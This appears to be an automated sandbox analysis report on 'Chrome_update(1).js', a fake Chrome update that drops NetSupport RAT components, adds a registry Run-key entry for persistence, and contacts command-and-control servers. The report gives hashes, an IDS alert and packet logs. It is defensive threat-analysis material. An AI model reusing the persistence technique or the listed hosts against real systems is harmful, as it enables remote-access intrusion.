SHA-512:	1DD001AA6B82715DEE7ABA7B5D5C8B8DBE39E88A66B760947B86A78056A66DB539D2DAEDB5792872953E06C6B94839B20B80C5F87CACC6866DFB393FC5E4FA73
Malicious:	false
Preview:	..7-Zip (A) 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18....Processing archive: C:\ProgramData\lolo.7z....Extracting PScripts..Extracting CacheDate.dat..Extracting CacheMD5.dat..Extracting NSM.ini..Extracting nsm_vpro.ini..Extracting nskbfltr.inf..Extracting NSM.LIC..Extracting desktop.ini..Extracting client32.ini..Extracting PScripts\insert_delimiter.pscript..Extracting PScripts\rot-13.pscript..Extracting CacheURL.dat..Extracting HTML_Obj_list.txt..Extracting Settings.txt..Extracting client32.exe..Extracting remcmdstub.exe..Extracting HTCTL32.DLL..Extracting msvcr100.dll..Extracting pcicapi.dll..Extracting PCICHEK.DLL..Extracting PCICL32.DLL..Extracting TCCTL32.DLL..Extracting putty.exe....Everything is Ok....Folders: 1..Files: 22..Size: 7115655..Compressed: 2306944..

\Device\Null

Process:	C:\Windows\System32\reg.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	254
Entropy (8bit):	5.175467205128989
Encrypted:	false
SSDEEP:	6:rNgZH1jzz3q8ARcN23oH+TWJe+G5tNHov7d+iW40:pWVjzzBxgYeq0+6t2d+iWZ
MD5:	ACE8616EE054B30E991F078D0944CC66
SHA1:	51D623413C9B97E847526A186F7109C8C6BF52E4
SHA-256:	B9B7072A492947320D2E8E97F2C5DE919BAD5658E3992A6A422718AE6E09D00F
SHA-512:	38A4CF698374666B52B6476837EF16F1DD0C0C41097AA953B60F66F01C286BF0FC88904342D23C10036546C4725D2D906B8775B853432C41B996DDF0F8DE2984
Malicious:	false
Preview:	..HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.. Microsoft Edge Update REG_SZ "C:\Users\user\AppData\Local\Microsoft\EdgeUpdate\1.3.177.11\MicrosoftEdgeUpdateCore.exe".. CachedX REG_SZ C:\ProgramData\client32.exe....

Static File Info

General

File type:	ASCII text, with very long lines (61237), with CRLF line terminators
Entropy (8bit):	5.714694444667743
TrID:
File name:	Chrome_update(1).js
File size:	647'118 bytes
MD5:	70297132948e717a54754524646870cd
SHA1:	9d6a75ffda344380d9491def6b01c3d3c0520e6f
SHA256:	cac95aabddf39df075aaf4deed7b3d4a13640617c63d09611771d648c1fb26a6
SHA512:	22406fc22c238c334506bff6c31f4dd52c85648a5d7411a9e05d481ea758141a3db3cedf6733f88c80dbcc261fbd74fa73219c4003e75a47d4059d308ea50774
SSDEEP:	12288:IC4D4H4H4H42DOFOPn4ujz7i8PMMMMMMMG9Uv8rd75Ve7:PoWWWFD8+f7im9Uf
TLSH:	B0D4026A4C354E7EEABC37F844BB0F5A07DD04602C84DBD6F2256950C8D7A78A8DE478
File Content Preview:	../*hlJSNypaDLEjihamVKbmRCyAvYFyYYJxFSDhwtPjApxyweARoOjLpSEQtHMrghzaGTgpdUruBCdUTRcyIRgHqnzZVTdGyENoIQkgEZNhWlnEeMjbSKMamJrUlQcHmOdGlVLNhAMigKxBFxAeJNMPloEupJiVoAGlUfVxpIAGCcdmCsfbNIkCdzrBMBuEgOFhfUCRzFGCfWqyJjsZGHUWaCNaNAmvrFCFbJzGhfKWtnZetFxXRziSHrytiFo

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.894.158.247.234970750502827745 08/02/23-10:34:05.337778	TCP	2827745	ETPRO TROJAN NetSupport RAT CnC Activity	49707	5050	192.168.2.8	94.158.247.23

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 2, 2023 10:30:41.953605890 CEST	49697	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:41.953701973 CEST	443	49697	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:41.953907967 CEST	49697	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:41.975838900 CEST	49697	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:41.975893021 CEST	443	49697	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:42.111449957 CEST	443	49697	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:42.111694098 CEST	49697	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:42.426959038 CEST	49697	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:42.426992893 CEST	443	49697	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:42.427400112 CEST	443	49697	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:42.427501917 CEST	49697	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:42.432502985 CEST	49697	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:42.474807024 CEST	443	49697	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:42.490537882 CEST	443	49697	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:42.490571022 CEST	443	49697	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:42.490654945 CEST	443	49697	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:42.490659952 CEST	49697	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:42.490695000 CEST	49697	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:42.490756989 CEST	49697	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:42.498528004 CEST	49697	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:42.498574018 CEST	443	49697	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.463011980 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.463071108 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.463175058 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.505767107 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.505820990 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.634649992 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.634877920 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.637125015 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.637176991 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.637650967 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.650049925 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.690829039 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.811178923 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.811213017 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.811233997 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.811353922 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.811386108 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.811407089 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.811528921 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.869386911 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.869430065 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.869528055 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.869566917 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.869580030 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.869612932 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.869641066 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.869677067 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.905633926 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.905709982 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.905822039 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.905865908 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.905894041 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.928257942 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.928381920 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.928385019 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.928420067 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.928472996 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.928482056 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.928494930 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.928533077 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.928549051 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.928594112 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.928838968 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.928870916 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.928926945 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.928950071 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.928977013 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.929137945 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.929161072 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.929212093 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.929236889 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.929265022 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.929493904 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.929591894 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.929614067 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.929639101 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.929671049 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.963809967 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.963851929 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.963958979 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.963968039 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.963989019 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.964004993 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.964045048 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.964095116 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.988250971 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.988287926 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.988431931 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.988472939 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.988500118 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.988526106 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.988539934 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.988553047 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.988590002 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.988622904 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.988828897 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.988852024 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.988929987 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.988945007 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.988965988 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.988991022 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.989160061 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.989181042 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.989243984 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.989258051 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.989305973 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.989478111 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.989500046 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.989564896 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.989578962 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.989638090 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.989799976 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.989820957 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.989887953 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.989905119 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.989958048 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.990123987 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.990144014 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.990214109 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.990230083 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.990281105 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.990468025 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.990488052 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.990550041 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.990565062 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.990609884 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.990731001 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.990756035 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.990814924 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.990834951 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.990854979 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.990889072 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.991058111 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.991080046 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.991152048 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:43.991169930 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:43.991223097 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.022643089 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.022701979 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.022823095 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.022830963 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.022866011 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.022893906 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.022938967 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.049649000 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.049685955 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.049822092 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.049859047 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.049874067 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.049904108 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.049925089 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.049977064 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.053023100 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.053072929 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.053226948 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.053258896 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.053306103 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.053320885 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.053333044 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.053349018 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.053417921 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.053458929 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.053658009 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.053679943 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.053796053 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.053814888 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.053872108 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.053971052 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.053993940 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.054069996 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.054084063 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.054171085 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.054302931 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.054322958 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.054400921 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.054414988 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.054471970 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.054605007 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.054626942 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.054717064 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.054733038 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.054802895 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.054982901 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.055008888 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.055087090 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.055104017 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.055201054 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.117628098 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.117686987 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.117846966 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.117898941 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.117970943 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.140881062 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.140911102 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.141007900 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.141027927 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.141071081 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.141129017 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.141132116 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.141155005 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.141191006 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.141208887 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.141274929 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.141397953 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.141423941 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.141484976 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.141499043 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.141551971 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.141587019 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.141602993 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.141686916 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.141700029 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.141921043 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.167177916 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.167216063 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.167378902 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.167418957 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.167439938 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.167529106 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.167557001 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.167629957 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.167643070 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.167704105 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.175827026 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.175857067 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.175996065 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.176003933 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.176047087 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.176079988 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.176142931 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.176145077 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.176160097 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.176220894 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.176301003 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.176315069 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.176331997 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.176408052 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.176534891 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.176558018 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.176651001 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.176671028 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.176738977 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.176752090 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.176772118 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.176835060 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.176841021 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.176853895 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.176928997 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.176944017 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.177027941 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.177028894 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.177043915 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.177100897 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.177151918 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.177151918 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.177151918 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.177181005 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.177191019 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.177253008 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.177263021 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.177278996 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.177321911 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.177330017 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.177403927 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.177407026 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.177423954 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.177474976 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.177524090 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.177534103 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.177548885 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.177614927 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.177622080 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.177690029 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.177721024 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.177736044 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.177779913 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.177846909 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.177850962 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.177866936 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.177922964 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.177953005 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.177994967 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.178009033 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.178039074 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.178056002 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.178076029 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.178098917 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.178148031 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.178170919 CEST	443	49700	188.127.230.147	192.168.2.8
